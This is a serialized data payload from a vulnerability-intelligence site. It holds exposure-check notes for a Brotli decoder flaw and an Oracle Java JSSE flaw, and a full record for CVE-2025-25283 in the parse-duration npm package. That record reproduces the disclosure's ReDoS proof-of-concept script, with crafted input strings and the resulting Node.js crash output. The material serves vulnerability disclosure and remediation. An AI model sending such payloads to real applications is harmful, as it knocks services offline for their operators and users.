[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-25283":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":51,"references":53,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":80},80996,"CVE-2025-25283","EUVD-2025-4098","parse-duration has a Regex Denial of Service that results in event loop delay and out of memory\n\n### Summary\n\nThis report finds 2 availability issues due to the regex used in the `parse-duration` npm package:\n1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.\n2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.\n\n### PoC\n\nRefer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:\n\n```js\n\u002F\u002F Vulnerable regex to use from the library:\nimport parse from '.\u002Findex.js'\n\nfunction generateStressTestString(length, decimalProbability) {\n  let result = \"\";\n  for (let i = 0; i \u003C length; i++) {\n    if (Math.random() \u003C decimalProbability) {\n      result += \"....\".repeat(99);\n    }\n    result += Math.floor(Math.random() * 10);\n  }\n  return result;\n}\n\nfunction getStringSizeInMB_UTF8(str) {\n  const sizeInBytes = Buffer.byteLength(str, 'utf8');\n  const sizeInMB = sizeInBytes \u002F (1024 * 1024);\n  return sizeInMB;\n}\n\n\n\u002F\u002F Generate test strings with varying length and decimal probability:\nconst longString1 = generateStressTestString(380, 0.05);\nconst longString2 = generateStressTestString(10000, 0.9);\nconst longString3 = generateStressTestString(500000, 1);\nconst longStringVar1 = '-1e' + '-----'.repeat(915000)\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"α\".repeat(5225000)\n\nfunction testRegex(str) {\n  const startTime = performance.now();\n  \u002F\u002F one of the regex's used in the library:\n  \u002F\u002F const durationRE = \u002F(-?(?:\\d+\\.?\\d*|\\d*\\.?\\d+)(?:e[-+]?\\d+)?)\\s*([\\p{L}]*)\u002Fgiu;\n  \u002F\u002F const match = durationRE.test(str);\n  \u002F\u002F but we will use the exported library code directly:\n  const match = parse(str);\n  const endTime = performance.now();\n  const timeTaken = endTime - startTime;\n  return { timeTaken, match };\n}\n\n\u002F\u002F Test the long strings:\nlet result = {}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`\n  );\n  result = testRegex(longString1);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`\n  );\n  result = testRegex(longString2 + \"....\".repeat(100) + \"5сек\".repeat(9000));\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`\n  );\n  result = testRegex(longStringVar1);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`\n  );\n  result = testRegex(longString3 + '.'.repeat(10000) + \" 5сек\".repeat(9000));\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`\n  );\n  result = testRegex(longStringVar2);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n```\n\nThe results of this on the cloud machine that I ran this on are as follows:\n\n```sh\n@lirantal ➜ \u002Fworkspaces\u002Fparse-duration (master) $ node redos.js \n\nRegex test on string of length 6320 (size: 0.01 MB):\n   matched: 5997140778.000855, time taken: 0.9271340000000237ms\n\nRegex test on string of length 3561724 (size: 3.40 MB):\n   matched: 0.0006004999999999999, time taken: 728.7693149999999ms\n\nRegex test on string of length 4575003 (size: 4.36 MB):\n   matched: null, time taken: 43.713984999999866ms\n\nRegex test on string of length 198500000 (size: 189.30 MB):\n\n\u003C--- Last few GCs --->\n\n[34339:0x7686430]    14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 \u002F 0.01 ms  (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430]    17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 \u002F 0.00 ms  (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed\n\n\n\u003C--- JS stacktrace --->\n\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n----- Native stack trace -----\n\n 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]\n 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]\n 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]\n 4: 0x11180d5  [node]\n 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]\n 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]\n 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]\n10: 0x1979ef6  [node]\nAborted (core dumped)\n```\n\nYou can note that:\n1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)\n2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function\n3. A 200 MB of input size already causes JavaScript heap out of memory crash\n\nHowever, more interestingly, if we focus on the input string case:\n\n```js\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"α\".repeat(5225000)\n```\n\nEven though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:\n\n```sh\nRegex test on string of length 5225503 (size: 9.97 MB):\nfile:\u002F\u002F\u002Fworkspaces\u002Fparse-duration\u002Findex.js:21\n    .replace(durationRE, (_, n, units) => {\n     ^\n\nRangeError: Maximum call stack size exceeded\n    at String.replace (\u003Canonymous>)\n    at parse (file:\u002F\u002F\u002Fworkspaces\u002Fparse-duration\u002Findex.js:21:6)\n    at testRegex (file:\u002F\u002F\u002Fworkspaces\u002Fparse-duration\u002Fredos.js:35:17)\n    at file:\u002F\u002F\u002Fworkspaces\u002Fparse-duration\u002Fredos.js:89:12\n    at ModuleJob.run (node:internal\u002Fmodules\u002Fesm\u002Fmodule_job:234:25)\n    at async ModuleLoader.import (node:internal\u002Fmodules\u002Fesm\u002Floader:473:24)\n    at async asyncRunEntryPointWithESMLoader (node:internal\u002Fmodules\u002Frun_main:122:5)\n\nNode.js v20.18.1\n```\n \nTo note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.\n\n### Impact\n\n- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.\n- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.\n- Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.","2025-02-12T19:45:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H","NONE","LOW",true,[48],"CWE-1333",[50],"cpe:2.3:a:parse-duration:parse-duration:*:*:*:*:*:*:*:*",[52],"Parse-Duration Parse-Duration",[54,55,56,57,58],"https:\u002F\u002Fgithub.com\u002Fjkroso\u002Fparse-duration\u002Fcommit\u002F9e88421bfd41806fa4b473bfb28a9ee9dafc27d7","https:\u002F\u002Fgithub.com\u002Fjkroso\u002Fparse-duration\u002Freleases\u002Ftag\u002Fv2.1.3","https:\u002F\u002Fgithub.com\u002Fjkroso\u002Fparse-duration\u002Fsecurity\u002Fadvisories\u002FGHSA-hcrg-fc28-fcg5","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-25283","https:\u002F\u002Fgithub.com\u002Fjkroso\u002Fparse-duration",0.57,0.00774,0.5548,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2025-02-12T19:25:33.773917Z","no","partial","poc",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T07:11:28.163640\u002F","track_star","medium","60D",[74],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",[],{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]